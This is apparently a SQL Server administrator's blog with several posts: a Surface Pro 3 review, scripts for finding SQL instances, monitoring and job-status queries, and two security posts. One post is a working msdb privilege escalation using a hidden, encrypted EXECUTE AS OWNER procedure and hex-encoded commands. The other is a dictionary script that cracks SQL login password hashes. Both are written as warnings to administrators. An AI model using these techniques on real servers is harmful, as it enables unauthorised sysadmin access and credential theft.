Surface Pro 3

Surface Pro 3

My first impression of the Surface Pro 3 was that Microsoft had produced a tablet/laptop that was really tempting. The choice of which model to buy is obviously dependent on how you want to use it, but will more than likely be heavily influenced by price. As you step up the model specification it is important to note that as well as processor/memory changes there is also an associated graphics change.

Surface Pro 3 – 64 GB / Intel Core i3-4020Y HD 4200 / 4GB RAM £639.00 incl. VAT
Surface Pro 3 – 128 GB / Intel Core i5-4300U HD 4400 / 4GB RAM £749.00 incl. VAT
Surface Pro 3 – 256 GB / Intel Core i5-4300U HD 4400 / 8GB RAM £849.00 incl. VAT
Surface Pro 3 – 256 GB / Intel Core i7-4650U HD 5000 / 8GB RAM £1,239.00 incl. VAT
Surface Pro 3 – 512 GB / Intel Core i7-4650U HD 5000 / 8GB RAM £1,549.00 incl. VAT
http://www.microsoft.com/surface/en-gb/products/surface-pro-3
http://en.wikipedia.org/wiki/Microsoft_Surface_Pro_3

Now I went for i5 128GB, as I was looking for a mid range spend for the purchase. However luckily for me I purchased it for around £670 as I got a returned unit from a retail store.

Issues

Storage:

The one thing that infuriates me most about this device is storage. Take for example the premium i7 models, for an additional £310 you can have a 512GB SSD. Ouch.. really?

I am not for one moment suggesting that this device is alone in creative pricing for hardware upgrades, but what is annoying is that this one is aimed to be a laptop replacement. A device with the same zero upgrade possibilities as other tablets.

Now if you could open the Surface easily then the internal mSATA drive could be replaced, however this is practically impossible to all but the very very determined. I am not even sure anyone has successfully done this with a Surface Pro 3, as the only detailed documented attempt resulted in damage.

https://www.ifixit.com/Teardown/Microsoft+Surface+Pro+3+Teardown/26595

http://uk.crucial.com/gbr/en/ssd/series/M550
Crucial M550 512GB mSATA Internal SSD £191.99 inc. VAT
Crucial M550 256GB mSATA Internal SSD £110.39 inc. VAT
Crucial M550 128GB mSATA Internal SSD £65.99 inc. VAT

USB:

Another issue with the device is that it has only one USB 3.0, which is not a major point but does limit options of what can be plugged in without adding an additional hub device (or dock).

The problem I came across was that the USB port did not provide enough power to keep my blu ray player or external hard dive connected. It kept dropping out which I knew was more than likely a power issue, and a quick search found that many others had encountered this. Now on a plus side the actual power brick for the device has a USB port for power. A quick search again and I found the cable I needed “USB 3.0 Y-CABLE 2x TYPE A Male to TYPE A Female”

Fan:

The fan does occasionally become a little noisy, but on the whole is fine.

Additional purchases

A must have purchase is the the type cover and it is strange not to see this bundled.

Surface Pro Type Cover

Two other items worth considering are a decent mouse and a dock for additional ports.
Surface Pro 3 Docking Station
Sculpt Comfort Mouse

My final thoughts

Now I know I bashed the Surface Pro 3 on a few points it is however a very good tablet/laptop replacement. I have in the past purchased several different IPADs, Nexus 10/7 devices and I can say that by far the most productive device for me is the Surface. It can do all the things my laptop did as well as providing similar functionality to my IPAD. I would like to see the mSATA drive accessible in future versions of the hardware, and it may also be good if Microsoft put a note in the box about potential power issues with a high power USB devices.

Find SQL Server Instances

Any environment will kick up the odd surprise with extra servers you did not know about (suddenly appearing), which is why I always like to have a look around the environment every so often to see what is there. So how do you find SQL instances and without a 3rd party tool?

SQL Command Line

Luckily you can do this via the built-in query tools that Microsoft provides.

Depending on your version of SQL, the command line entries will look like this:

ISQL -L
OSQL -L
SQLCMD -L

Finding Servers that might have SQL

Active Directory

Some companies like to put “SQL” in to the name of the server, or in the description field. So we can look for those with this:

Import-Module ActiveDirectory;
Get-ADComputer -Filter 'Name -like "*sql*" -or Description -like "*sql*"' -Properties Description | Select-Object @{Name="ServerName";Expression={$_.Name}},@{Name="InstanceName";Expression={$null}};

While this only gets a list of probable servers with SQL instances we can use this to scout for the actual installs.

ManagedComputer

Using ManagedComputer only requires a computer name and it will return the instances it knows about. This can also easily be combined with the AD search shown above.

[Void][Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SqlWmiManagement") | out-null;
$Computer = $Env:COMPUTERNAME
$ManagedComputer = New-Object "Microsoft.SqlServer.Management.Smo.Wmi.ManagedComputer" $Computer;
$ManagedComputer.ServerInstances | Select-Object @{Name="ServerName";Expression={$Computer}},@{Name="InstanceName";Expression={$_.Name}};

SqlDataSourceEnumerator

GetDataSources is very easy and only requires a simple call to return all the instances which it can see.

[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()

I tend to use this version below as I only want server and instance name.

[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources() | Select-Object @{Name="ServerName";Expression={$_.ServerName}},@{Name="InstanceName";Expression={$_.InstanceName}};

Sledgehammer

The final option is to check if the SQL service(s) are installed. Which is basically the go and have a look everywhere option.

Import-Module ActiveDirectory;

ForEach ($Computer in Get-ADComputer -Filter 'Name -like "*"'){
$ComputerName = $Computer.Name;
$Ping = Get-WmiObject Win32_PingStatus -Filter "Address='$ComputerName'";

 IF($Ping.StatusCode -eq 0)
 {
  Get-WmiObject -class "Win32_Service" -Computer $ComputerName|?{$_.Name -like "*MSSQL*"}|Select @{Name="ServerName";Expression={$ComputerName}},@{Name="InstanceName";Expression={$_.Name}};
 }
}

Finally…

Sometimes an instance will just refuse to show up… This is for a variety reasons such as firewalls, permissions, network issues…and sometimes they are just hiding.

If you want something that is a more complete solution with regards to searching and presentation then you may want to go and look at Microsoft Assessment and Planning (MAP) Toolkit.

A simple what is running script aka a modern sp_who2

There is a great deal of information that can be gathered to show what is currently running on SQL Server, but sometimes simple and brief is best. So here is a quick overview gathering scripts with limited bells and whistles.

The most important information for user requests is shown which can then be used to expand and drill down to areas of interest.

--http://jongurgul.com/blog/simple-running-script-aka-modern-sp_who2
SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED
SELECT
DB_NAME(er.[database_id]) [DatabaseName]
,er.[session_id] AS [SessionID]
,er.[command] AS [CommandType]
,CASE WHEN er.[command] LIKE ('ALTER%') OR er.[command] LIKE ('CREATE%') THEN est.text
ELSE
(SUBSTRING(est.text,(er.[statement_start_offset]/2)+1,((CASE er.[statement_end_offset] WHEN -1 THEN DATALENGTH(est.text) ELSE er.[statement_end_offset] END - er.[statement_start_offset])/2)+1))
END [StatementCoreText]--http://msdn.microsoft.com/en-gb/library/ms181929.aspx
,est.text [StatementText]
,er.[open_transaction_count] [OpenTransactions]
,er.[status] AS [Status]
,CONVERT(DECIMAL(5,2),er.[percent_complete]) AS [Complete_Percent]
,CONVERT(DECIMAL(38,2),er.[total_elapsed_time] / 60000.00) AS [ElapsedTime_m]
,CONVERT(DECIMAL(38,2),er.[estimated_completion_time] / 60000.00) AS [EstimatedCompletionTime_m]
--,eqp.[query_plan] [QueryPlan]
,er.[plan_handle] [PlanHandle]
,er.[last_wait_type] [LastWait]
,er.[wait_resource] [CurrentWait]
,er.[cpu_time] [CPU]
,CONVERT(DECIMAL(15,3),(er.[granted_query_memory]/128)) [GrantedMemory_MiB]
,eqmg.[grant_time] [GrantTime]
,CONVERT(DECIMAL(15,3),eqmg.[requested_memory_kb]/1024) [RequestedMemory_MiB]
--,CONVERT(DECIMAL (15,3),eqmg.[ideal_memory_kb]/1024) [IdealMemory_MiB]
,CONVERT(DECIMAL(15,3),eqmg.[max_used_memory_kb]/1024) [MaxUsedMemory_MiB]
,CONVERT(DECIMAL(15,3),eqmg.[used_memory_kb]/1024) [UsedMemory_MiB]
,er.[logical_reads] [LogicalReads]
,er.[reads] [Reads]
,er.[writes] [Writes]
,(SELECT COUNT(*) FROM sys.dm_os_tasks ot WHERE er.[session_id] = ot.[session_id]) [NumberOfTasks]
,es.[host_name] [ConnectionHostName]
,es.[login_name] [ConnectionLoginName]
,es.[program_name] [ConnectionProgramName]
--,rgwg.[name] [WorkloadGroupName]
--,rgrp.[name] [ResourcePoolName]
--,tsu.[internal_objects_alloc_page_count]/128 [Task_UserObjectsAlloc_MiB]
--,tsu.[internal_objects_dealloc_page_count]/128 [Task_UserObjectsDeAlloc_MiB]
FROM sys.dm_exec_requests er
INNER JOIN sys.dm_exec_sessions es ON er.[session_id] = es.[session_id] AND es.[session_id] > 50
--LEFT JOIN
--(
--SELECT [session_id],
--SUM([internal_objects_alloc_page_count]) [internal_objects_alloc_page_count],
--SUM([internal_objects_dealloc_page_count]) [internal_objects_dealloc_page_count]
--FROM sys.dm_db_task_space_usage
--GROUP BY [session_id]
--) tsu
--ON tsu.session_id = es.[session_id]
--INNER JOIN sys.resource_governor_workload_groups rgwg ON es.[group_id] = rgwg.[group_id]
--INNER JOIN sys.resource_governor_resource_pools rgrp ON rgwg.[pool_id] = rgrp.[pool_id]
LEFT JOIN sys.dm_exec_query_memory_grants eqmg ON es.[session_id] = eqmg.[session_id]
CROSS APPLY sys.dm_exec_sql_text(er.[sql_handle]) est
--CROSS APPLY sys.dm_exec_query_plan(er.[plan_handle]) eqp
WHERE es.[session_id] <> @@SPID

T-SQL: Sequential Numbering

Introduction

It is as easy as 1, 2, 3. A generic numerical sequence which is incremented from a known value. In this article we will look at the options that are available to create sequences which have primarily used identity, and more recently a new tool in the form of SEQUENCE  before finally looking at a custom solution.

1. IDENTITY (Property) (Transact-SQL)

The most familiar of concepts is that of the  IDENTITY (Property) (Transact-SQL)   which can be specified on a column for a table. The code below shows how an identity property is applied with a seed value and an increment value. The example will start with an ID of 1 and then increment by 1 for each subsequent call, although these values can be changed as required.

DECLARE @d1 TABLE ([ID] BIGINT IDENTITY(1,1) PRIMARY KEY CLUSTERED,[Name]VARCHAR(50));
INSERT INTO @d1 ([Name]) VALUES ('Jon');
INSERT INTO @d1 ([Name]) VALUES ('Jo');
INSERT INTO @d1 ([Name]) VALUES ('Bob');
SELECT FROM @d1;


The 3 row insert above has occurred using the values 1,2 and 3.

ID Name
1 Jon
2 Jo
3 Bob

 

2. CREATE SEQUENCE (Transact-SQL)

Starting with SQL 2012 a new option was made available via a new construct called SEQUENCE (Transact-SQL)  . Unlike the identity property which is bound to a single column of a table, a sequence is a stand-alone object. This removes the coupling between a particular column of a table and allows generation of sequences that could span multiple objects, or perhaps be cyclical in nature.

A simple example is shown below to mimic the previous example, although there are several additional options that can be specified which affect not only the way the sequence behaves but also how it performs.

CREATE SEQUENCE dbo.Seq2012 AS BIGINT START WITH 1 INCREMENT BY 1;
--ALTER SEQUENCE dbo.Seq2012 RESTART WITH 1;--Restarting the sequence
DECLARE @d2 TABLE ([ID] BIGINT PRIMARY KEY CLUSTERED,[NameVARCHAR(50))
INSERT INTO @d2 ([ID],[Name]) VALUES (NEXT VALUE FOR dbo.Seq2012,'Jon');
INSERT INTO @d2 ([ID],[Name]) VALUES (NEXT VALUE FOR dbo.Seq2012,'Jo');
INSERT INTO @d2 ([ID],[Name]) VALUES (NEXT VALUE FOR dbo.Seq2012,'Bob');
SELECT FROM @d2;


3. Custom Sequence

If more control is needed over a sequence then the most appropriate solution in some cases is to produce a custom solution. This will need a location to store the values and a way to increment. The simplest way to achieve this is dedicated table and stored procedure.

The table is best kept to a minimum with regards implementation as we do not want to introduce any performance degradation. The procedure is an update of the stored value based on a passed increment, however the update itself uses syntax which may seem a little strange. The UPDATE   syntax documentation shows this as

@variable = column = expression.

USE [tempdb];
GO
IF OBJECT_ID('dbo.NumberSequence''U'IS NOT NULL
DROP TABLE dbo.NumberSequence;
GO
CREATE TABLE dbo.NumberSequence(NextNumber BIGINT NOT NULL);
GO
--Seed the table with an initial value of 0, so that the first increment is a value of 1.
INSERT INTO dbo.NumberSequence(NextNumber) VALUES(0);
GO
CREATE PROCEDURE [dbo].[GetNextNumber]
@NextNumber AS BIGINT OUTPUT,
@IncrementBy BIGINT = 1
AS
SET NOCOUNT ON;
UPDATE [dbo].[NumberSequence]
SET @NextNumber = [NextNumber] = [NextNumber] + ISNULL(@IncrementBy,0);
GO
--Incrementing the custom sequence.
DECLARE @NextNumber BIGINT
EXECUTE [dbo].[GetNextNumber] @NextNumber OUTPUT,1
SELECT @NextNumber



The above solution will allow the increment of a numerical value based on a stored procedure call, in which we could increase the value by 1 or 100. This enables ranges of numbers to be requested as well as individual values.

4. No stored sequence

Another alternative is to use the highest values + 1 as the next in the sequence. However as this relies on getting the max value of what could be a large table this may have performance/concurrency implications if the corresponding inserts do not happen in a timely fashion.

DECLARE @d3 TABLE ([ID] BIGINT PRIMARY KEY CLUSTERED,[NameVARCHAR(50))
INSERT INTO @d3 ([ID],[Name]) VALUES ((SELECT COALESCE(MAX([ID]),0)+1 FROM @d3),'Jon');
INSERT INTO @d3([ID],[Name]) VALUES ((SELECT COALESCE(MAX([ID]),0)+1 FROM @d3),'Jo');
INSERT INTO @d3 ([ID],[Name]) VALUES ((SELECT COALESCE(MAX([ID]),0)+1 FROM @d3),'Bob');
SELECT FROM @d3;

 

 

http://social.technet.microsoft.com/wiki/contents/articles/25552.t-sql-sequential-numbering.aspx

Check status of SQL Jobs

Finding out the status of SQL Jobs is a simple task which can be accomplished via the GUI or in code using EXEC msdb.dbo.sp_help_job.

However one issue that is encountered is that the results from this procedure can not easily be used. If an attempt is made to insert the results into another table an error is thrown.

“An INSERT EXEC statement cannot be nested.”

CREATE TABLE #Results
(
[job_id] UNIQUEIDENTIFIER,
[originating_server] NVARCHAR(256),
[name] SYSNAME,
[enabled] TINYINT,
[description] NVARCHAR(1024),
[start_step_id] INT,
[category] SYSNAME,
[owner] SYSNAME,
[notify_level_eventlog] INT,
[notify_level_email] INT,
[notify_level_netsend] INT,
[notify_level_page] INT,
[notify_email_operator] NVARCHAR(MAX),
[notify_netsend_operator] NVARCHAR(MAX),
[notify_page_operator] NVARCHAR(MAX),
[delete_level] INT,
[date_created] DATETIME,
[date_modified] DATETIME,
[version_number] INT,
[last_run_date] INT,
[last_run_time] INT,
[last_run_outcome] INT,
[next_run_date] INT,
[next_run_time] INT,
[next_run_schedule_id] INT,
[current_execution_status] INT,
[current_execution_step] SYSNAME,
[current_retry_attempt] INT,
[has_step] INT,
[has_schedule] INT,
[has_target] INT,
[type] INT
)

INSERT INTO #Results
EXEC msdb.dbo.sp_help_job
--Msg 8164, Level 16, State 1, Procedure sp_get_composite_job_info, Line 72
--An INSERT EXEC statement cannot be nested.

Workarounds

In order to capture the data there are several options.

0. Perhaps Microsoft will refactor the code and create a management view/tvf to retrieve jobs with status? ;-)

1. Use Openrowset and enable “ad hoc distributed queries” = Lazy Option and comes with security issues. There is also further issues with 2012 see links.

http://blogs.msdn.com/b/sqlagent/archive/2012/07/12/workaround-sql-server-2012-openrowset-on-msdb-dbo-sp-help-job-throws-error.aspx
https://connect.microsoft.com/SQLServer/feedback/details/737341/sql-server-2012-openrowset-on-msdb-dbo-sp-help-job-throws-error

2. Check status via SMO

[Void][Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.Smo")|Out-Null;
[Void][Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SmoExtended")|Out-Null;
$Instance = New-Object "Microsoft.SqlServer.Management.Smo.Server" "localhost";
$Instance.JobServer.Jobs|ft

I suppose you could create a job step to put this data in a table and query that instead.

Note it is NOT possible to create a SQL CLR and use SMO as you will get one of the following errors:

System.Security.SecurityException: That assembly does not allow partially trusted callers.
System.Exception: This functionality is disabled in the SQLCLR. It is recommended that you execute from your client application.

3. Use master.dbo.xp_sqlagent_enum_jobs instead which is called as part of EXEC msdb.dbo.sp_help_job.

--http://jongurgul.com/blog/check-status-of-sql-jobs
DECLARE @t TABLE
(
[Job ID] UNIQUEIDENTIFIER,[Last Run Date] CHAR(8),[Last Run Time] CHAR(6),[Next Run Date] CHAR(8),[Next Run Time] CHAR(6),[Next Run Schedule ID] INT,
[Requested To Run] INT,[Request Source] INT,[Request Source ID] SQL_VARIANT,[Running] INT,[Current Step] INT,[Current Retry Attempt] INT,[State] INT
)

INSERT INTO @t
EXECUTE master.dbo.xp_sqlagent_enum_jobs @can_see_all_running_jobs=1,@job_owner='0x4A6F6E47757267756C'

SELECT
 es.[session_id] [SessionID]
,t.[Request Source ID] [Requester]
,t.[Job ID] [JobID]
,sj.[name] [JobName]
,sjs.[step_id] [StepID]
,sjs.[step_name] [StepName]
,CASE t.[State]
 WHEN 0 THEN 'Not idle or suspended'
 WHEN 1 THEN 'Executing'
 WHEN 2 THEN 'Waiting For Thread'
 WHEN 3 THEN 'Between Retries'
 WHEN 4 THEN 'Idle'
 WHEN 5 THEN 'Suspended'
 WHEN 6 THEN 'WaitingForStepToFinish'
 WHEN 7 THEN 'PerformingCompletionActions'
 ELSE ''
 END [State]
,sja.[start_execution_date] [FirstStepStartDate]
,sja.[last_executed_step_id] [LastStepID]
,sja.[last_executed_step_date] [LastStepStartDate]
,sja.[stop_execution_date] [LastStepEndDate]
FROM @t t
INNER JOIN msdb..sysjobs sj ON t.[Job ID] = sj.[job_id]
INNER JOIN msdb..sysjobsteps sjs ON sjs.[job_id] = sj.[job_id]
AND t.[Job ID] = sjs.[job_id]
AND t.[Current Step] = sjs.[step_id]
INNER JOIN
(
	SELECT * FROM msdb..sysjobactivity d
	WHERE EXISTS
	(
	SELECT 1
	FROM msdb..sysjobactivity l
	GROUP BY l.[job_id]
	HAVING l.[job_id] = d.[job_id]
	AND MAX(l.[start_execution_date]) = d.[start_execution_date]
	)
) sja
ON sja.[job_id] = sj.[job_id]
LEFT JOIN (SELECT SUBSTRING([program_name],30,34) p,[session_id] FROM sys.dm_exec_sessions
WHERE [program_name] LIKE 'SQLAgent - TSQL JobStep%') es
ON CAST('' AS XML).value('xs:hexBinary(substring(sql:column("es.p"),3))','VARBINARY(MAX)') = sj.[job_id]

http://social.msdn.microsoft.com/Forums/en-IN/transactsql/thread/831c2dcc-75fc-41ac-943d-6457d9fb2ca9

SQL Event for July 2014

Almost July 2014 and looking forward to what will no doubt be another great SQLBits. This time in Telford.

SQLBits XII 17th – 19th July 2014 The International Centre, Telford
http://sqlbits.com/

However before SQLBits there is another event that you can still go to if you are quick, and it is in the South West!

There are currently a few spots available to see Brent Ozar present “Are AlwaysOn Availability Groups Right for You?” in Bristol. So get in quick

Updated 2 July 2014 No places left..

http://www.sqlserverclub.co.uk/sql-server-bristol-user-group-events.aspx

Checking what permissions they have in SQL Server

The function sys.fn_my_permissions is very useful for seeing what permissions you have, but it can be just as useful to check someone else. For this all that is needed is to use EXECUTE AS to impersonate them.

--http://jongurgul.com/blog/checking-permissions-sql-server
CREATE USER Meow WITHOUT LOGIN

SELECT SUSER_NAME() [LoginName],USER_NAME() [DatabaseLoginName];

EXECUTE AS USER = 'Meow'
--EXECUTE AS LOGIN = 'Meow'

SELECT * FROM
(
SELECT SUSER_NAME() [LoginName],USER_NAME() [DatabaseLoginName],2 [Level],ao.[name],p.[permission_name],p.[entity_name],p.[subentity_name]
FROM sys.all_objects ao
CROSS APPLY sys.fn_my_permissions(QUOTENAME(ao.[name]),'OBJECT') p
UNION ALL
SELECT SUSER_NAME() [LoginName],USER_NAME() [DatabaseLoginName],1,d.[name],p.[permission_name],p.[entity_name],p.[subentity_name]
FROM sys.databases d
CROSS APPLY sys.fn_my_permissions(QUOTENAME(d.name), 'DATABASE') p
UNION ALL
SELECT SUSER_NAME() [LoginName],USER_NAME() [DatabaseLoginName],0,@@SERVERNAME,p.[permission_name],p.[entity_name],p.[subentity_name]
FROM sys.fn_my_permissions(NULL, 'SERVER') p
) x
ORDER BY 1,2,3
REVERT 

SELECT SUSER_NAME() [LoginName],USER_NAME() [DatabaseLoginName];

DROP USER Meow

Dangers of giving dbo in MSDB

I wanted to talk today about something that I have often seen in environments which is that dbo is granted to msdb without a second thought to the exact implications.

So what? Its not got any user data in it, and they need dbo to perform some action not covered by the existing security to do with job(s)/agent management. (Probably a lazy permission grant in all honesty)

The issue that occurs is basically that  although you have granted dbo, they have in fact got SA. First when installing SQL Server the msdb database is created with “TRUSTWORTY ON” and secondarily the system databases are owned by SA.

But why is this an issue? Because all that is needed is for a malicious user with dbo to create a very simple procedure using “EXECUTE AS OWNER”. Now as SQL Server has TRUSTWORTHY set for msdb what happens is that we can now escalate to SA.

1. Create a user (or use an existing one with permission of dbo on msdb)

USE [msdb]
CREATE USER Gur WITHOUT LOGIN
GO
ALTER ROLE [db_owner] ADD MEMBER [Gur]

2. Test Access

USE [msdb]
EXECUTE AS USER='Gur'
PRINT SUSER_SNAME()
CREATE DATABASE j0
REVERT
PRINT SUSER_SNAME()

So this errors, because we do not have the permission to create a database we just have dbo. “Msg 262, Level 14, State 1, Line 3 CREATE DATABASE permission denied in database ‘master’.”

3. Adding a procedure with EXECUTE AS OWNER on a TRUSTWORTHY database.

Lets create a procedure to do what ever we want… Here is one in which I will also encrypt the definition to hide the evilness.

CREATE PROCEDURE msdb_purge @SQL NVARCHAR(4000) WITH ENCRYPTION,EXECUTE AS OWNER AS EXEC sp_executesql @sql

4. Lets try it out

USE [msdb]
EXECUTE AS USER='Gur'
PRINT SUSER_SNAME()
EXEC msdb_purge 'CREATE DATABASE j1'
REVERT
PRINT SUSER_SNAME()

… Command(s) completed successfully.

5. Finally as we want to hide what we are doing lets cast the command to varbinary which will be accepted by our procedure. (Drop database created above)

USE [msdb]
EXECUTE AS USER='Gur'
PRINT SUSER_SNAME()
EXEC msdb_purge 0x43005200450041005400450020004400410054004100420041005300450020006A00 --SELECT CAST(N'CREATE DATABASE j2' AS VARBINARY(8000))
REVERT
PRINT SUSER_SNAME()

In the above I have hidden the definition, as well as the command being run. I have also given it a nice system sounding name to make it less likely to be picked up. I suppose I could also mark it as a system object. (sys.sp_MS_MarkSystemObject)

TRUSTWORTHY + dbo = I can be the whoever owns that database. Nobody has freely granted dbo in msdb for your default install of SQL Server right?

SQL Server Login password hash

In this article we will look at how SQL Server stores passwords and how we can go about working them out.

As a developer/administrator you are probably accessing SQL Server via a windows login, however the other option is when the instance is changed into mixed mode allowing SQL Logins. These logins are created within the master database and shown in sys.server_principals.

There is additional information in sys.sql_logins which itself inherits from sys.server_principals.  The 3 additional columns are called is_policy_checked,is_expiration_checked and password_hash.

If you take a hash of a known piece of text using the HASHBYTES function, and then compare it with an identical password you have entered when creating a sql login you will notice that they do not match. (Looking at the password_hash columns in sys.sql_logins)

The difference is that an addition piece of data called a salt has been added to the process.

x = Hash(PlainText + Salt) instead of x = Hash(PlainText)

SELECT HASHBYTES('SHA2_512',CAST(N'JonGurgul' AS VARBINARY(MAX)))
--0x605334B588BA046B9EA3FD2F7C501ABD549D2F698A57E78EAE525553F72CBA0B710FBD928FB1AE05FD6FAEECB9A957C2EEF0323EA6BC75FE92A60C7D4FAA7AD2

SELECT HASHBYTES('SHA2_512',CAST(N'JonGurgul' AS VARBINARY(MAX))+0xF1202F8A)
--0x0C9748812054A27F0209CD5DCA57EFE33C496A112BA6EBB048B91D35FA784F385A1625228777164719565A02612255B83F6BD37DE096DEBE74AF9B936BB8C02D

This helps to add additional security, however SQL server stores the salt as part of the hash. If you look at the password_hash column you will have something that looks like:

0x0200F1202F8A0C9748812054A27F0209CD5DCA57EFE33C496A112BA6EBB048B91D35FA784F385A1625228777164719565A02612255B83F6BD37DE096DEBE74AF9B936BB8C02D

Now you will see that the bold 4 bytes match the salt that I had used in the previous example, and the red data is the actual hash of the plain text.

Cracking/Hacking/Guessing SQL Login passwords

Now for an example and with a bit of guess work lets see if I can work out any of your passwords. Note that the hash algorithm changes from SHA1 to SHA2-512 from SQL 2012.

--http://jongurgul.com/blog/sql-server-login-password-hash
USE [tempdb]
GO
IF NOT EXISTS(SELECT * FROM [tempdb].sys.tables WHERE name = 'WordList')
BEGIN
 CREATE TABLE [dbo].[WordList]([Plain] NVARCHAR(MAX))

 --USERNAME//PASSWORD COMBOS
 INSERT INTO [WordList]([Plain])
 SELECT [name] FROM sys.sql_logins
 UNION
 SELECT REPLACE(REPLACE(REPLACE([name],'o','0'),'i','1'),'e','3') FROM sys.sql_logins
 UNION
 SELECT REPLACE(REPLACE(REPLACE([name],'o','0'),'i','1'),'e','3')+'.' FROM sys.sql_logins --example added character
 UNION
 SELECT REPLACE(REPLACE(REPLACE([name],'o','0'),'i','1'),'e','3')+'!' FROM sys.sql_logins --example added character

 --No Comment
 INSERT INTO [WordList]([Plain]) VALUES (N'')
 INSERT INTO [WordList]([Plain]) VALUES (N'password')
 INSERT INTO [WordList]([Plain]) VALUES (N'sa')
 INSERT INTO [WordList]([Plain]) VALUES (N'dev')
 INSERT INTO [WordList]([Plain]) VALUES (N'test')
END
DECLARE @Algorithm VARCHAR(10)
SET @Algorithm = CASE WHEN @@MICROSOFTVERSION/0x01000000 = 11 THEN 'SHA2_512' ELSE 'SHA1' END

SELECT
 [name]
,[password_hash]
,SUBSTRING([password_hash],3,4) [Salt]
,SUBSTRING([password_hash],7,(LEN([password_hash])-6)) [Hash]
,HASHBYTES(@Algorithm,CAST(w.[Plain] AS VARBINARY(MAX))+SUBSTRING([password_hash],3,4)) [ComputedHash]
,w.[Plain]
FROM sys.sql_logins
INNER JOIN [tempdb].[dbo].[WordList] w
ON SUBSTRING([password_hash],7,(LEN([password_hash])-6)) = HASHBYTES(@Algorithm,CAST(w.[Plain] AS VARBINARY(MAX))+SUBSTRING([password_hash],3,4))

IF EXISTS(SELECT * FROM [tempdb].sys.tables WHERE name = 'WordList')
BEGIN
 DROP TABLE [tempdb].[dbo].[WordList]
END
GO
SELECT
[name]
,[password_hash]
,SUBSTRING([password_hash],3,4) [Salt]
,SUBSTRING([password_hash],7,(LEN([password_hash])-6)) [Hash]
FROM sys.sql_logins
GO

I have used a table to store some plain text example passwords, but you can obviously add your own guesses to try to determine the obvious ones.

Hopefully the above simple code has not worked out any of your passwords, but if it has I would suggest taking the opportunity to change them.

Another option instead of manually extracting the salt and rehashing is to use the function PWDCOMPARE which will do the work for you.

SELECT [name],[password_hash]
FROM sys.sql_logins
WHERE PWDCOMPARE(N'JonGurgul',[password_hash]) = 1